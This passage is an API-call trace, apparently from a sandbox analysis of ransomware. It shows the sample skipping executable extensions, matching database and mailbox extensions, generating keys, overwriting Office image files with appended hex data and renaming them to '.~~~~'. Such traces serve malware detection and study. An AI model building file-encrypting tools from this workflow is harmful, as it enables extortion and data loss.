	[0143.630] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffdc6b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0143.631] WriteFile (in: hFile=0x138, lpBuffer=0x2a840c8*, nNumberOfBytesToWrite=0x2395, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a840c8*, lpNumberOfBytesWritten=0x25dfec0*=0x2395, lpOverlapped=0x0) returned 1
	[0143.631] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a840c8 | out: hHeap=0x300000) returned 1
	[0143.631] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0143.631] WriteFile (in: hFile=0x138, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0143.631] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0143.631] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0143.631] CloseHandle (hObject=0x138) returned 1
	[0143.631] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28ab8a0
	[0143.632] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir51b.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51B.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir51b.gif.~~~~")) returned 1
	[0143.634] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28ab8a0 | out: hHeap=0x300000) returned 1
	[0143.634] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0143.634] GetLastError () returned 0x0
	[0143.635] RtlWakeConditionVariable () returned 0x0
	[0143.635] GetCurrentThreadId () returned 0x9f4
	[0143.635] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5B.GIF", lpSrch=".scr") returned 0x0
	[0143.635] lstrlenW (lpString=".cmd") returned 4
	[0143.635] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5B.GIF", lpSrch=".cmd") returned 0x0
	[0143.635] lstrlenW (lpString=".dll") returned 4
	[0143.635] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5B.GIF", lpSrch=".dll") returned 0x0
	[0143.635] lstrlenW (lpString=".bat") returned 4
	[0143.635] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5B.GIF", lpSrch=".bat") returned 0x0
	[0143.635] lstrlenW (lpString=".cpl") returned 4
	[0143.635] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5B.GIF", lpSrch=".cpl") returned 0x0
	[0143.635] lstrlenW (lpString=".sys") returned 4
	[0143.635] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5B.GIF", lpSrch=".sys") returned 0x0
	[0143.635] lstrlenW (lpString=".msc") returned 4
	[0143.635] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5B.GIF", lpSrch=".msc") returned 0x0
	[0143.635] lstrlenW (lpString=".com") returned 4
	[0143.635] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5B.GIF", lpSrch=".com") returned 0x0
	[0143.635] lstrlenW (lpString=".lnk") returned 4
	[0143.635] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5B.GIF", lpSrch=".lnk") returned 0x0
	[0143.636] lstrlenW (lpString=".msp") returned 4
	[0143.636] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5B.GIF", lpSrch=".msp") returned 0x0
	[0143.636] lstrlenW (lpString=".pif") returned 4
	[0143.636] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5B.GIF", lpSrch=".pif") returned 0x0
	[0143.636] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0143.636] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5B.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0143.636] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir5b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0143.638] lstrlenW (lpString=".sqb") returned 4
	[0143.638] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5B.GIF", lpSrch=".sqb") returned 0x0
	[0143.638] lstrlenW (lpString=".ost") returned 4
	[0143.638] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5B.GIF", lpSrch=".ost") returned 0x0
	[0143.638] lstrlenW (lpString=".txt") returned 4
	[0143.638] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5B.GIF", lpSrch=".txt") returned 0x0
	[0143.638] lstrlenW (lpString=".mdt") returned 4
	[0143.638] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5B.GIF", lpSrch=".mdt") returned 0x0
	[0143.638] lstrlenW (lpString=".BDB") returned 4
	[0143.638] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5B.GIF", lpSrch=".BDB") returned 0x0
	[0143.638] lstrlenW (lpString=".eql") returned 4
	[0143.639] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5B.GIF", lpSrch=".eql") returned 0x0
	[0143.639] lstrlenW (lpString=".DBF") returned 4
	[0143.639] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5B.GIF", lpSrch=".DBF") returned 0x0
	[0143.639] lstrlenW (lpString=".EQL") returned 4
	[0143.639] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5B.GIF", lpSrch=".EQL") returned 0x0
	[0143.639] lstrlenW (lpString=".FDB") returned 4
	[0143.639] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5B.GIF", lpSrch=".FDB") returned 0x0
	[0143.639] lstrlenW (lpString=".EDB") returned 4
	[0143.639] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5B.GIF", lpSrch=".EDB") returned 0x0
	[0143.639] lstrlenW (lpString=".DACPAC") returned 7
	[0143.639] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5B.GIF", lpSrch=".DACPAC") returned 0x0
	[0143.639] lstrlenW (lpString=".VHD") returned 4
	[0143.639] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5B.GIF", lpSrch=".VHD") returned 0x0
	[0143.639] lstrlenW (lpString=".DBV") returned 4
	[0143.639] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5B.GIF", lpSrch=".DBV") returned 0x0
	[0143.639] lstrlenW (lpString=".dacpac") returned 7
	[0143.639] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5B.GIF", lpSrch=".dacpac") returned 0x0
	[0143.639] lstrlenW (lpString=".sdf") returned 4
	[0143.639] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5B.GIF", lpSrch=".sdf") returned 0x0
	[0143.639] lstrlenW (lpString=".accdb") returned 6
	[0143.639] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5B.GIF", lpSrch=".accdb") returned 0x0
	[0143.639] lstrlenW (lpString=".DBX") returned 4
	[0143.639] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5B.GIF", lpSrch=".DBX") returned 0x0
	[0143.639] lstrlenW (lpString=".MDT") returned 4
	[0143.640] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5B.GIF", lpSrch=".MDT") returned 0x0
	[0143.640] lstrlenW (lpString=".SQB") returned 4
	[0143.640] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5B.GIF", lpSrch=".SQB") returned 0x0
	[0143.640] lstrlenW (lpString=".vhd") returned 4
	[0143.640] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5B.GIF", lpSrch=".vhd") returned 0x0
	[0143.640] lstrlenW (lpString=".bac") returned 4
	[0143.640] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5B.GIF", lpSrch=".bac") returned 0x0
	[0143.640] lstrlenW (lpString=".mdf") returned 4
	[0143.640] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5B.GIF", lpSrch=".mdf") returned 0x0
	[0143.640] lstrlenW (lpString=".BAK") returned 4
	[0143.640] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5B.GIF", lpSrch=".BAK") returned 0x0
	[0143.640] lstrlenW (lpString=".BAC") returned 4
	[0143.640] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5B.GIF", lpSrch=".BAC") returned 0x0
	[0143.640] lstrlenW (lpString=".dbs") returned 4
	[0143.640] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5B.GIF", lpSrch=".dbs") returned 0x0
	[0143.640] lstrlenW (lpString=".vhdx") returned 5
	[0143.640] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5B.GIF", lpSrch=".vhdx") returned 0x0
	[0143.640] lstrlenW (lpString=".NDF") returned 4
	[0143.640] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5B.GIF", lpSrch=".NDF") returned 0x0
	[0143.640] lstrlenW (lpString=".dat") returned 4
	[0143.640] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5B.GIF", lpSrch=".dat") returned 0x0
	[0143.640] lstrlenW (lpString=".DBS") returned 4
	[0143.640] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5B.GIF", lpSrch=".DBS") returned 0x0
	[0143.640] lstrlenW (lpString=".CKP") returned 4
	[0143.640] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5B.GIF", lpSrch=".CKP") returned 0x0
	[0143.640] lstrlenW (lpString=".edb") returned 4
	[0143.640] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5B.GIF", lpSrch=".edb") returned 0x0
	[0143.640] lstrlenW (lpString=".PST") returned 4
	[0143.640] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5B.GIF", lpSrch=".PST") returned 0x0
	[0143.640] lstrlenW (lpString=".dbf") returned 4
	[0143.641] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5B.GIF", lpSrch=".dbf") returned 0x0
	[0143.641] lstrlenW (lpString=".SQL") returned 4
	[0143.641] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5B.GIF", lpSrch=".SQL") returned 0x0
	[0143.641] lstrlenW (lpString=".pst") returned 4
	[0143.641] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5B.GIF", lpSrch=".pst") returned 0x0
	[0143.641] lstrlenW (lpString=".dbv") returned 4
	[0143.641] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5B.GIF", lpSrch=".dbv") returned 0x0
	[0143.641] lstrlenW (lpString=".SDF") returned 4
	[0143.641] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5B.GIF", lpSrch=".SDF") returned 0x0
	[0143.641] lstrlenW (lpString=".dtxs") returned 5
	[0143.641] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5B.GIF", lpSrch=".dtxs") returned 0x0
	[0143.641] lstrlenW (lpString=".db3") returned 4
	[0143.641] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5B.GIF", lpSrch=".db3") returned 0x0
	[0143.641] lstrlenW (lpString=".OST") returned 4
	[0143.641] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5B.GIF", lpSrch=".OST") returned 0x0
	[0143.641] lstrlenW (lpString=".dbx") returned 4
	[0143.641] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5B.GIF", lpSrch=".dbx") returned 0x0
	[0143.641] lstrlenW (lpString=".DB3") returned 4
	[0143.641] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5B.GIF", lpSrch=".DB3") returned 0x0
	[0143.641] lstrlenW (lpString=".DAT") returned 4
	[0143.641] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5B.GIF", lpSrch=".DAT") returned 0x0
	[0143.641] lstrlenW (lpString=".VHDX") returned 5
	[0143.641] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5B.GIF", lpSrch=".VHDX") returned 0x0
	[0143.641] lstrlenW (lpString=".ndf") returned 4
	[0143.641] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5B.GIF", lpSrch=".ndf") returned 0x0
	[0143.641] lstrlenW (lpString=".DB") returned 3
	[0143.641] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5B.GIF", lpSrch=".DB") returned 0x0
	[0143.641] lstrlenW (lpString=".sql") returned 4
	[0143.642] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5B.GIF", lpSrch=".sql") returned 0x0
	[0143.642] lstrlenW (lpString=".MYD") returned 4
	[0143.642] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5B.GIF", lpSrch=".MYD") returned 0x0
	[0143.642] lstrlenW (lpString=".DBT") returned 4
	[0143.642] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5B.GIF", lpSrch=".DBT") returned 0x0
	[0143.642] lstrlenW (lpString=".ACCDB") returned 6
	[0143.642] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5B.GIF", lpSrch=".ACCDB") returned 0x0
	[0143.642] lstrlenW (lpString=".fdb") returned 4
	[0143.642] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5B.GIF", lpSrch=".fdb") returned 0x0
	[0143.642] lstrlenW (lpString=".bak") returned 4
	[0143.642] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5B.GIF", lpSrch=".bak") returned 0x0
	[0143.642] lstrlenW (lpString=".myd") returned 4
	[0143.642] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5B.GIF", lpSrch=".myd") returned 0x0
	[0143.642] lstrlenW (lpString=".DTXS") returned 5
	[0143.642] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5B.GIF", lpSrch=".DTXS") returned 0x0
	[0143.642] lstrlenW (lpString=".ckp") returned 4
	[0143.642] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5B.GIF", lpSrch=".ckp") returned 0x0
	[0143.642] lstrlenW (lpString=".dbt") returned 4
	[0143.642] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5B.GIF", lpSrch=".dbt") returned 0x0
	[0143.642] lstrlenW (lpString=".db") returned 3
	[0143.642] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5B.GIF", lpSrch=".db") returned 0x0
	[0143.642] lstrlenW (lpString=".TXT") returned 4
	[0143.642] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5B.GIF", lpSrch=".TXT") returned 0x0
	[0143.642] lstrlenW (lpString=".MDF") returned 4
	[0143.642] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5B.GIF", lpSrch=".MDF") returned 0x0
	[0143.642] lstrlenW (lpString=".bdb") returned 4
	[0143.642] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5B.GIF", lpSrch=".bdb") returned 0x0
	[0143.643] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0143.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5B.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0143.643] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0143.643] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0143.643] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394b08) returned 1
	[0143.644] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0143.644] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0143.644] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0143.644] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0143.644] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0143.645] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=26363467003) returned 1
	[0143.645] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xbf064ff0, dwHighDateTime=0x1d60e1e)) 
	[0143.645] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0143.645] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0143.645] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0143.645] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2809df0
	[0143.645] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0143.645] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2809df0 | out: hHeap=0x300000) returned 1
	[0143.645] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0143.645] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0143.645] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28ab9f0
	[0143.645] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0143.645] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0b68
	[0143.645] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28ab9f0 | out: hHeap=0x300000) returned 1
	[0143.645] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0143.646] GetLastError () returned 0x0
	[0143.646] GetLastError () returned 0x0
	[0143.646] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0143.646] GetLastError () returned 0x0
	[0143.646] GetLastError () returned 0x0
	[0143.646] ReadFile (in: hFile=0x138, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x25dfec0*=0x592b, lpOverlapped=0x0) returned 1
	[0143.649] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffa6d5, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0143.649] WriteFile (in: hFile=0x138, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x592b, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x25dfec0*=0x592b, lpOverlapped=0x0) returned 1
	[0143.649] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0143.649] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0143.649] WriteFile (in: hFile=0x138, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0143.650] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0143.650] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0143.650] CloseHandle (hObject=0x138) returned 1
	[0143.650] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28ab8a0
	[0143.650] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir5b.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5B.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir5b.gif.~~~~")) returned 1
	[0143.652] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28ab8a0 | out: hHeap=0x300000) returned 1
	[0143.652] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0143.652] GetLastError () returned 0x0
	[0143.653] RtlWakeConditionVariable () returned 0x0
	[0143.653] GetCurrentThreadId () returned 0x9f4
	[0143.653] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5F.GIF", lpSrch=".scr") returned 0x0
	[0143.653] lstrlenW (lpString=".cmd") returned 4
	[0143.653] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5F.GIF", lpSrch=".cmd") returned 0x0
	[0143.653] lstrlenW (lpString=".dll") returned 4
	[0143.653] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5F.GIF", lpSrch=".dll") returned 0x0
	[0143.653] lstrlenW (lpString=".bat") returned 4
	[0143.653] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5F.GIF", lpSrch=".bat") returned 0x0
	[0143.653] lstrlenW (lpString=".cpl") returned 4
	[0143.653] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5F.GIF", lpSrch=".cpl") returned 0x0
	[0143.653] lstrlenW (lpString=".sys") returned 4
	[0143.653] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5F.GIF", lpSrch=".sys") returned 0x0
	[0143.653] lstrlenW (lpString=".msc") returned 4
